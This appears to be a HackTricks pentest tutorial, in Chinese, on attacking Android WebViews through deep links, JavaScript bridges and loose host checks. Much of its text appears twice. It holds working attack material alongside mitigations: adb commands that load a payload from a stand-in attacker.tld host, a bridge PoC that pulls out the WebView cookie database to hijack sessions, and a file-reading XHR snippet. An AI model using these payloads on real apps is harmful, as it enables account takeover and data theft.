Webview 攻击
Reading time: 23 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Guide on WebView Configurations and Security
Overview of WebView Vulnerabilities
Android 开发中的一个关键点是正确处理 WebViews。本指南强调了与 WebView 使用相关的关键配置和安全实践,以降低风险。
.png)
File Access in WebViews
默认情况下,WebViews 允许文件访问。该功能由 setAllowFileAccess() 方法控制,自 Android API level 3 (Cupcake 1.5) 起可用。拥有 android.permission.READ_EXTERNAL_STORAGE 权限的应用可以使用文件 URL 方案 (file://path/to/file) 从外部存储读取文件。
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: 该已弃用功能允许来自 file URL 的跨源请求,因可能导致 XSS 攻击而存在重大安全风险。对于以 Android Jelly Bean 及更高版本为目标的应用,默认设置为禁用(
false)。 - 要检查此设置,请使用
getAllowUniversalAccessFromFileURLs()。 - 要修改此设置,请使用
setAllowUniversalAccessFromFileURLs(boolean)。 - File Access From File URLs: 该功能亦已弃用,用于控制来自其他 file scheme URL 的内容访问。与 universal access 类似,为了增强安全性,其默认值也为禁用。
- 使用
getAllowFileAccessFromFileURLs()检查,使用setAllowFileAccessFromFileURLs(boolean)进行设置。
Secure File Loading
如需在仍能访问 assets 和 resources 的同时禁用文件系统访问,可使用 setAllowFileAccess() 方法。在 Android R 及更高版本中,默认设置为 false。
- 使用
getAllowFileAccess()检查。 - 使用
setAllowFileAccess(boolean)启用或禁用。
WebViewAssetLoader
The WebViewAssetLoader class 是加载本地文件的现代方法。它使用 http(s) URLs 来访问本地 assets 和 resources,符合 Same-Origin policy,从而便于 CORS 管理。
loadUrl
这是在 WebView 中加载任意 URL 的常用函数:
webview.loadUrl("<url here>")
当然,潜在的攻击者绝不应该能够 控制应用将要加载的 URL。
JavaScript 和 Intent Scheme 处理
- JavaScript: 在 WebViews 中默认被禁用,可以通过
setJavaScriptEnabled()启用。请注意,在没有适当防护的情况下启用 JavaScript 可能引入安全漏洞。 - Intent Scheme: WebViews 可以处理
intentscheme,如果不谨慎管理可能导致被利用。一个示例漏洞涉及一个暴露的 WebView 参数 "support_url",该参数可被利用执行 cross-site scripting (XSS) 攻击。
.png)
使用 adb 的利用示例:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Android 提供了一个功能,允许 WebView 中的 JavaScript 调用 本地 Android 应用功能。这是通过使用 addJavascriptInterface 方法实现的,该方法将 JavaScript 与本地 Android 功能集成,称为 WebView JavaScript bridge。需要注意的是,该方法允许 WebView 内的所有页面访问已注册的 JavaScript Interface 对象,如果通过这些接口暴露敏感信息,则会带来安全风险。
- 需要格外小心:对于目标 Android 版本低于 4.2 的应用,由于存在一个漏洞,攻击者可以通过恶意 JavaScript 利用 reflection 导致 remote code execution。
Implementing a JavaScript Bridge
- JavaScript interfaces 可以与本地代码交互,如下面示例所示,在其中一个类方法被暴露给 JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- 通过向 WebView 添加接口启用 JavaScript Bridge:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- 通过 JavaScript(例如通过 XSS 攻击)可能被利用,从而调用暴露的 Java 方法:
<script>
alert(javascriptBridge.getSecret())
</script>
- 为了降低风险,将 JavaScript bridge 的使用限制在随 APK 一同发布的代码中,并避免从远程来源加载 JavaScript。对于旧设备,将最低 API level 设置为 17。
Reflection-based Remote Code Execution (RCE)
- 有文档记录的方法可以通过 reflection 执行特定 payload 来实现 RCE。然而,
@JavascriptInterface注解会阻止未授权的方法访问,从而限制攻击面。
Remote Debugging
- 使用 Chrome Developer Tools 可实现 Remote debugging,从而与 WebView 内容交互并执行任意 JavaScript。
Enabling Remote Debugging
- 可通过以下方式为应用内的所有 WebViews 启用 Remote debugging:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- 有条件地根据应用的 debuggable 状态启用调试:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
外泄任意文件
- 演示如何使用 XMLHttpRequest 外泄任意文件:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Webview 攻击
WebView 配置与安全指南
WebView 漏洞概述
Android 开发的一个关键方面是正确处理 WebViews。本指南强调了关键配置和安全实践,以减轻与 WebView 使用相关的风险。
.png)
WebViews 中的文件访问
默认情况下,WebViews 允许文件访问。此功能由 setAllowFileAccess() 方法控制,该方法自 Android API level 3 (Cupcake 1.5) 可用。具有 android.permission.READ_EXTERNAL_STORAGE 权限的应用可以使用文件 URL 方案 (file://path/to/file) 从外部存储读取文件。
已弃用功能:来自 URL 的通用访问和文件访问
- Universal Access From File URLs:这是一个已弃用的功能,允许从 file URLs 发起跨源请求,因潜在的 XSS 攻击而构成重大安全风险。针对 Android Jelly Bean 及更新版本的应用,该设置的默认值为禁用(
false)。 - 要检查此设置,请使用
getAllowUniversalAccessFromFileURLs()。 - 要修改此设置,请使用
setAllowUniversalAccessFromFileURLs(boolean)。 - File Access From File URLs:此功能也已弃用,用于控制对其他 file scheme URLs 内容的访问。与 Universal Access From File URLs 类似,其默认值为禁用以增强安全性。
- 使用
getAllowFileAccessFromFileURLs()检查,使用setAllowFileAccessFromFileURLs(boolean)设置。
安全的文件加载
如果要禁用文件系统访问但仍访问 assets 和 resources,可使用 setAllowFileAccess() 方法。在 Android R 及更高版本中,默认设置为 false。
- 使用
getAllowFileAccess()检查。 - 使用
setAllowFileAccess(boolean)启用或禁用。
WebViewAssetLoader
WebViewAssetLoader 类是加载本地文件的现代方法。它使用 http(s) URLs 来访问本地 assets 和 resources,与 Same-Origin policy 对齐,从而便于 CORS 管理。
loadUrl
这是一个常用函数,用于在 webview 中加载任意 URL:
webview.loadUrl("<url here>")
当然,潜在的攻击者绝不应该能够控制 URL,即应用将要加载的地址。
深度链接到内部 WebView (custom scheme → WebView sink)
许多应用会注册 custom schemes/paths,将用户提供的 URL 路由到应用内的 WebView。如果 deep link 被导出(VIEW + BROWSABLE),攻击者可以强制应用在其 WebView 上下文中渲染任意远程内容。
典型的 manifest 模式(简化):
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
常见代码流程(简化):
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
通过 adb 的攻击模式和 PoC:
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact: 远程页面在应用的 WebView 上下文中运行(使用应用 WebView 配置文件的 cookies/session、可访问任何暴露的 @JavascriptInterface、并且可能根据设置访问 content:// 和 file://)。
Hunting tips:
- 在反编译的源代码中 grep 搜索
getQueryParameter("url")、loadUrl(、WebViewsinks,以及深度链接处理器(onCreate/onNewIntent)。 - 检查 manifest 中是否有 VIEW+BROWSABLE 过滤器以及映射到随后启动 WebView 的 activity 的自定义 schemes/hosts。
- 检查是否存在多个深度链接路径(例如 “external browser” 路径 vs. “internal webview” 路径),优先选择在应用内渲染的那个。
在验证之前启用 JavaScript(检查顺序漏洞)
一个常见的加固错误是在目标 URL 的最终 allowlist/验证 完成之前就启用 JavaScript 或配置宽松的 WebView 设置。如果验证在不同的辅助流程中不一致或发生得太晚,攻击者的深度链接可能达到以下状态:
- WebView 设置生效(例如
setJavaScriptEnabled(true)),并且 - 不受信任的 URL 在启用 JavaScript 的情况下被加载。
Bug pattern (pseudocode):
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
Why it’s exploitable
- 规范化不一致:辅助函数在拆分/重建 URL 时与最终检查的方式不同,产生可被恶意 URL 利用的不匹配。
- 处理管道顺序错误:在第 2 步启用 JS 会对整个 WebView 实例全局生效,影响最终加载,即便后续验证失败也会生效。
How to test
- Craft deep-link payloads that pass early checks and reach the WebView configuration site.
- Use adb to fire implicit VIEW intents delivering a
url=parameter controlled by you:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
如果利用成功,你的 payload 会在应用的 WebView 中执行 JavaScript。从那里,探测是否存在暴露的 bridges:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
防御建议
- 只进行一次规范化;并严格根据单一可信源(scheme/host/path/query)进行验证。
- 仅在所有 allowlist 检查通过且在加载受信任内容之前调用
setJavaScriptEnabled(true)。 - 避免将
@JavascriptInterface暴露给不受信任的 origins;优先使用基于 origin 的访问控制。 - 考虑为受信任与不受信任的内容使用独立的 WebView 实例,且默认禁用 JS。
JavaScript and Intent Scheme 处理
- JavaScript:在 WebViews 中默认被禁用,可通过
setJavaScriptEnabled()启用。需谨慎——未经适当防护启用 JavaScript 可能引入安全漏洞。 - Intent Scheme:WebViews 可以处理
intentscheme,若管理不当可能导致被利用。示例漏洞涉及一个暴露的 WebView 参数 "support_url",可被利用来执行 cross-site scripting (XSS) 攻击。
.png)
使用 adb 的利用示例:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Android 提供了一个特性,使 WebView 中的 JavaScript 能够调用 原生 Android 应用功能。这是通过使用 addJavascriptInterface 方法实现的,该方法将 JavaScript 与本地 Android 功能集成,称为 WebView JavaScript bridge。需要注意的是,此方法允许 WebView 中的所有页面访问已注册的 JavaScript Interface 对象,如果通过这些接口暴露敏感信息,会带来安全风险。
- Extreme caution is required 对于目标 Android 版本低于 4.2 的应用尤其重要,因为存在一个漏洞,攻击者可以通过恶意 JavaScript 利用 reflection 实现 remote code execution。
Implementing a JavaScript Bridge
- JavaScript interfaces 可以与本地代码交互,如下示例所示,通过将类的方法暴露给 JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- 通过向 WebView 添加一个 interface 来启用 JavaScript Bridge:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- 通过 JavaScript(例如通过 XSS 攻击)进行潜在利用,能够调用暴露的 Java 方法:
<script>
alert(javascriptBridge.getSecret())
</script>
- 为了降低风险,将 JavaScript bridge 的使用限制在随 APK 一起发布的代码中,并阻止从远程来源加载 JavaScript。对于较旧的设备,将最低 API level 设置为 17。
滥用 dispatcher-style JS bridges (invokeMethod/handlerName)
一种常见模式是一个单一的导出方法(例如,@JavascriptInterface void invokeMethod(String json)),它会将攻击者控制的 JSON 反序列化为通用对象,并根据提供的 handler 名称进行分发。典型的 JSON 结构:
{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}
风险:如果任何已注册的 handler 在攻击者可控的数据上执行特权操作(例如直接读取文件),你可以通过相应设置 handlerName 来调用它。结果通常会通过 evaluateJavascript 和以 callbackId 为键的回调/Promise 机制发布回页面上下文。
关键侦查步骤
- 反编译并用 grep 查找
addJavascriptInterface(,以获取 bridge 对象名(例如xbridge)。 - 在 Chrome DevTools (chrome://inspect) 中,于 Console 输入 bridge 对象名(例如
xbridge)以枚举暴露的字段/方法;查找类似invokeMethod的通用分发器。 - 通过搜索实现
getModuleName()的类或注册映射来枚举处理器。
Arbitrary file read via URI → File sinks (Base64 exfiltration)
如果某个处理器接收 URI,调用 Uri.parse(req.getUri()).getPath(),构造 new File(...) 并在没有白名单或沙箱检查的情况下读取它,那么你就可以在应用沙箱内获得任意文件读取,这会绕过诸如 setAllowFileAccess(false) 之类的 WebView 设置(读取发生在 native 代码中,而不是通过 WebView 的网络栈)。
PoC to exfiltrate the Chromium WebView cookie DB (session hijack):
// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};
const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});
xbridge.invokeMethod(payload);
Notes
- Cookie DB paths vary across devices/providers. Common ones:
file:///data/data/<pkg>/app_webview/Default/Cookiesfile:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies- The handler returns Base64; decode to recover cookies and impersonate the user in the app’s WebView profile.
Detection tips
- Watch for large Base64 strings returned via
evaluateJavascriptwhen using the app. - Grep decompiled sources for handlers that accept
uri/pathand convert them tonew File(...).
绕过 WebView 特权判定 – endsWith() 主机检查
特权判定(选择 JSB-enabled Activity)通常依赖主机允许列表。一个有缺陷的模式是:
String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView
等价逻辑 (德摩根定律):
boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);
这不是 origin 检查。许多非预期的主机会满足第二个子句,导致不受信任的域被允许进入有特权的 Activity。始终针对严格的 allowlist 验证 scheme 和 host(精确匹配或使用带点边界的正确子域检查),不要使用 endsWith 花招。
javascript:// execution primitive via loadUrl
一旦进入有特权的 WebView,应用有时会通过以下方式执行内联 JS:
webView.loadUrl("javascript:" + jsPayload);
如果内部流程在该上下文中触发了 loadUrl("javascript:..."),注入的 JS 会在具有 bridge 访问权限的情况下执行,即使外部页面通常不被允许。Pentest steps:
- Grep 查找应用中的
loadUrl("javascript:和evaluateJavascript(。 - 通过强制导航到特权 WebView(例如,通过一个宽松的 deep link chooser)尝试触达这些代码路径。
- 使用该原语调用 dispatcher(
xbridge.invokeMethod(...))以触达敏感处理器。
Mitigations (developer checklist)
- 对特权 Activities 做严格的 origin 验证:规范化并将 scheme/host 与显式 allowlist 比较;避免基于
endsWith的检查。适用时考虑 Digital Asset Links。 - 将 bridges 限制到仅受信任的页面,并在每次调用时重新检查信任(按次授权)。
- 移除或严格保护具有文件系统访问能力的 handler;优先使用
content://并结合 allowlists/permissions,而不是原始的file://路径。 - 在特权上下文中避免使用
loadUrl("javascript:"),或将其置于严格检查之后才能调用。 - 请记住
setAllowFileAccess(false)无法防止通过 bridge 的本地文件读取。
JSB enumeration and debugging tips
- 启用 WebView 远程调试以使用 Chrome DevTools Console:
- App-side (debug builds):
WebView.setWebContentsDebuggingEnabled(true) - System-side: 像 LSPosed 这样的模块或 Frida 脚本可以在 release 构建中强制启用调试。Cordova WebViews 的示例 Frida 片段: cordova enable webview debugging
- 在 DevTools 中,输入 bridge 对象名(例如
xbridge)以查看暴露的成员并探测 dispatcher。
Reflection-based Remote Code Execution (RCE)
- 有记录的方法允许通过反射执行特定 payload 来实现 RCE。但
@JavascriptInterface注解会阻止未授权的方法访问,从而限制攻击面。
Remote Debugging
- 使用 Chrome Developer Tools 可以进行远程调试,从而与 WebView 内容交互并执行任意 JavaScript。
Enabling Remote Debugging
- 可以通过以下方式为应用内的所有 WebViews 启用远程调试:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- 为了根据应用的 debuggable 状态有条件地启用 debugging:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrate 任意文件
- 演示使用 XMLHttpRequest 对任意文件进行 exfiltration:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
参考资料
- Android WebViews 文件访问攻击向量综述
- WheresMyBrowser.Android(演示应用)
- Android WebView 参考
- Deep Links & WebViews 利用 — 第二部分
- Deep Links & WebViews 利用 — 第一部分
- Samsung S24 Exploit Chain Pwn2Own 2024 逐步讲解
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (白皮书)
- 演示视频
- 通过 JSB 在 Android 应用中实现账户接管 – tuxplorer.com
- LSPosed – systemless Xposed framework
- Frida codeshare: Cordova – 启用 WebView 调试
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks